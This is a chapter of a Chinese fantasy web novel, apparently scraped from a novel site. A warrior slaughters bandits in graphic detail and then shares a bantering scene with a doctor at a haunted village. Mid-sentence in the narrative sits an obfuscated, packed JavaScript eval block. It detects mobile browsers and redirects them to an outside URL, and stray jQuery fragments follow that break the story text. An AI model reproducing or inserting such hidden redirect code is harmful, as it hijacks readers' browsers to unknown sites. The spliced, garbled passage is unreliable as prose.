默认冷灰
24号文字
方正启体

11. 第 11 章

作者:青竹叶本书字数:K更新时间:
    长刀乃珍稀寒铁打造,长一米八,重五百多公斤,常人举起都难,在楼宴手上却轻如飞羽。


    刀锋过处,骨骼断裂血液飞溅,大好头颅落地滚动,停在匪首面前。他大脑空白四肢痉挛,只闻粗重喘气声。


    楼宴面无表情,眼神漠然。


    能量运行,全身泛起密密麻麻的疼痛,只有鲜血和杀戮可以止痛。


    全场只剩下他机械、单调、重复,肉眼难以捕捉的挥刀动作。匪首回神时,四周已然清空。


    避无可避,匪首浑身亮起土黄色能量罩,太阳穴被能量顶得几乎爆开,要迎下他这一击。


    “啊——”


    喊声戛然而止,匪首看到自己飞到天上,又滚落尘土,他直勾勾看厄马上的人影,那人却没有回头看一眼。


    仿佛他作为七级的觉醒者,和之前被杀喽啰一般无足轻重,只是路上一棵杂草。


    这不是人。


    这是人间太岁降世修罗。


    他竟来挑战这样的人?匪首瞪大双眼,死不瞑目。


    老大一招被砍,余下小弟哪里还敢多留?


    不但前方溃败,后方听到‘老大已死’的消息,同样扭头就跑。


    哪怕他们还有数千人,如今也只顾着拉扯缰绳逃命。


    楼宴沐着鲜血立在原地,等着那些人跑远了,他才笑了一声,笑声冷得能结成冰。


    “逃出来了……”逃出生天的喽啰们笑还没来得及升起,忽听让人毛骨悚然的骨骼断裂和嘶鸣声。


    崩溃的逃兵和厄兽身形一滞。


    那是厄兽强韧骨头在超强重力磁场下被生生压碎的哀鸣。


    以及他们腹中空气被挤爆抽干的惨叫。


    无形死神降临,他们连敌人都没有看见,骨骼就寸寸断裂,脆弱内脏爆开成血雾,眼球滚出眼眶,炸成碎肉。全场寂静无声。


    楼宴沐浴着血雾,犹如附骨之疽的疼痛都得到了抑制。


    忽然,一张脸出现在脑海里,也打断他往更深处的沉沦和堕落,楼宴从杀戮的快意中脱离,他看向后方。


    *


    【刻录A级基础技能‘斩浪’,有一定身体强度要求,后续学习者可视天赋最高达到原版70%的威力。】


    【刻录S级超能技能‘重力场’,需点亮超能属性,有一定悟性要求,后续学习者可视天赋最高达到原版75%的威力。】


    培育屋兴奋的声音还在耳侧,青酒却没法一同喜悦。


    那披着血气,笼着猩红光泽的男人已经一路从前方走到车前。


    吴若不知道去了哪儿,车架上的战士远远看到就让开,青酒眼看着他走上车架,推开门,巨大身形挡住外面的光。


    文明社会和野蛮社会的分界线就在此时此刻,他和楼宴之间。


    他眼睁睁看着楼宴跨越那条界限,带着血腥味走到他面前,死亡阴影同样蔓延到脚下,和他的影子连接。


    青酒腿软,坐倒在床上,双臂却撑着床面,也是撑着自己的骄傲。


    心几乎跳出胸膛,身体也僵硬到一动不动,想说点什么,可是张了张嘴,居然吐不出一个字。


    小小的屋子快被血腥味淹没,死亡的气息让汗毛直立,青酒差点以为自己要溺毙于未散的杀气中。


    “吓到你了?”


    楼宴单膝下蹲,几乎是跪的姿态,被挡住的光再一次落进青酒眼睛。


    医生脸色惨白没有血色,手指都微微颤抖,眼中虽然没有刺眼的排斥和厌恶,但也比之前多了几分抗拒。


    楼宴竟有些后悔。


    或许他应该做得干净利落些,而不是这样放纵自己的恶。


    他带着血迹的手摸过青酒战栗的皮肤,露出一个恶作剧的表情:“医生胆子这么小?”


    “谁胆子小?”青酒嘴比脑快。


    凝滞的气氛被打破,空气再次流动。


    照进来的光线是暖的,青酒僵硬的身体渐渐回温,他伸手擦去楼宴脸上的血迹,声音飘渺的不像自己发出来:“哪里受伤了?”


    怕得声音都在抖,却关心他哪里受伤?


    “没受伤。”


    “没受伤就好,能先去洗个澡吗?”被血腥味腌入味了。


    “这点血还怕。”


    “臭。”


    楼宴没吭声。


    青酒忽然注意到楼宴悄悄把血迹都擦他身上,笑得像个坏小子:“现在你也臭了。”


    他愣了下,原本苍白的脸色浮起浅红:“你三岁吗?”


    车外的全安听到首领一串笑声,无比快活惬意,他诧异地看向里面,又快速收回视线。


    其他人要么收拾前方残局,要么安抚被惊吓到的厄马,准备稍作休整就继续赶路。


    这只是路上一个小意外,前方还有几百公里等着他们翻越。


    年轻战士兴高采烈的从前方厄兽残骸中找到四头无毒可食用的珍品,大家伙儿兴奋的好像过年。


    楼宴说留一半腌制保存,再有一些碎片送给青酒研究,其他的分两天吃掉。


    无毒厄兽不但能温和滋养身体,还能充盈气血增强体质,帮助力量升级,是觉醒者最好的补品。


    队伍再一次出发,这次没有挡路石了,他们顺利走过山谷,并在天黑前到达一处已经遗弃的荒村。


    楼宴带着青酒走下车。


    这么多天他第一次下来,脚踩着凝实土地,别有一种安全感。


    其他人也偷偷看他,只是碍于楼宴就在旁边,也不敢多看。


    只有远处有心人躲在暗处打量。


    青酒穿的已不是白天那一身,这变化让人浮想联翩。


    青酒不知道他们在想什么,他只是被人蹭了一脸血,不得不跟着洗了一次。


    和楼宴这样打闹,反而让他心里畏惧散去大半,好奇心驱使下提出‘下来看一看’的要求。


    知道这一支队伍有三千多人,但下了车才看出规模,乌压压都是人头。


    大部分都是东方人,少部分带着混血特征,但说的都是通用的东方官方语言,用的也是统一文字和单位。


    行走其中,倍感亲切。


    野外并不缺少枯木,青酒看到他们有条不紊地收集可以燃烧的木材,从车上取来可以饮用的水和作为晚餐的物资。


    生火和生水的觉醒者在旁辅助。还有专门的狩猎队进入笼罩薄雾的远方,进行采集和狩猎。


    现代科技和蛮荒原始结合在一起。


    一切都很神奇。


    随着太阳的余晖散去,黑暗降临。


    青酒嗅到淡淡的硫磺味。


    虚境,灾厄出现的源头,它们总是伴随着硫磺味,像是地狱不小心破开的口子。


    这附近有虚境,只是雾气大,天色晚,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502861|202842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看不到任何异常。或许这个死寂的村子就是最大异常。


    荒村有着后期建造的痕迹,使用了大量二手建筑材料,碎砖石板钢材和塑料板,胡乱搭建成不同的低矮屋子。


    最大的共同点是窗户很小,墙壁很厚,并且都有用于藏身的地窖。


    地窖里发现了不少已经无法食用的粮食,灶台上还有霉变干枯的食物,说明村子荒废得很突然,没有一点准备,来不及带上珍贵的粮食,吃不上最后一口饭。


    “降温了。”


    温暖的皮裘落在身上,属于另一人的温度和味道覆盖全身。


    他有些不适应地抖了一下,又舍不得放开这么厚实的袍子,就随便找了个话题:“宴哥,这里真是荒凉啊。”


    “这应该是42区正式划分前的小型基地,这里的人已经成了灾厄的猎物。”


    “为什么是灾厄,而不是厄兽?”青酒好奇道。


    “厄兽还留着兽类本能,无论是撕咬还是攻击,都会留下痕迹,但这里没有。”楼宴眯起眼,似乎透过黑暗看到了隐藏起来的敌人,“这里是某个灾厄的巢穴。”


    “混乱区里厄兽多,灾厄也多,虚境也不少,”楼宴忽然转身看他,“你怕吗?”


    “为什么这么问?”


    其实青酒已经猜到那里灾厄多厄兽多,而且绑都绑了,现在才想起来问他怕不怕?


    楼宴平时说一不二的,偶尔又这么别扭,他是不是还没过青春期?


    “怕也晚了。”楼宴看着他,“你会在混乱区待多久?”


    他们远离大部队,也远离明亮的篝火。


    昏暗的环境里只能看到那双琥珀色眼睛。


    无论待多久,都是过客。只有留在那,死在那,才算自己人。


    这个人一定藏了很多秘密,从他们见面的第一天开始。


    青酒是个随遇而安的人,他不深究,是因为没有感受到恶意。但对于未来,也不会轻易许诺。


    所以他扭头随便找了个理由准备离开:“这里好冷,我们先回去。”


    青酒说完就要离开,谁想眼角余光看到草叶无风摆动。


    原来上面有蛛丝般的丝线无声蔓延,也带动地上植物摆动。


    它们速度极快,眼看着这种不知名的东西就要蔓延到这里,青酒脚边晕开一道火圈。


    火圈不碰其他任何东西,只焚烧这种奇异丝线,眨眼间就把冒出来的东西烧了个干净。


    楼宴收回橙色琉璃火,轻嗤一声:“低级灾厄,瘟疫侧的。这种东西胆小怕事,烧过一次今晚都不会冒头。”


    “灾厄。”这是他第一次接触基地众人闻之色变的怪物,竟是这样悄无声息又可怕的东西。只是还没感受到威力,就已经被烧得退回巢穴深处。


    他仰头看向楼宴。


    “宴哥好厉害。”


    真诚的夸赞传入楼宴耳朵,他不动声色,只是耳朵发烫。


    “只是不入流的小灾厄。”


    楼宴表现得风淡云轻,眼睛却一直看着青酒,好像在说:多夸夸,他爱听。


    这个男人好幼稚。


    青酒的紧张感突然就没了,他笑起来:“因为宴哥太厉害,才觉得不入流。如果是我,我都不知道要怎么办。”


    青酒说话实在好听,楼宴很想再听两句,可惜他们也就站了两分钟,那里就喊着开饭了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)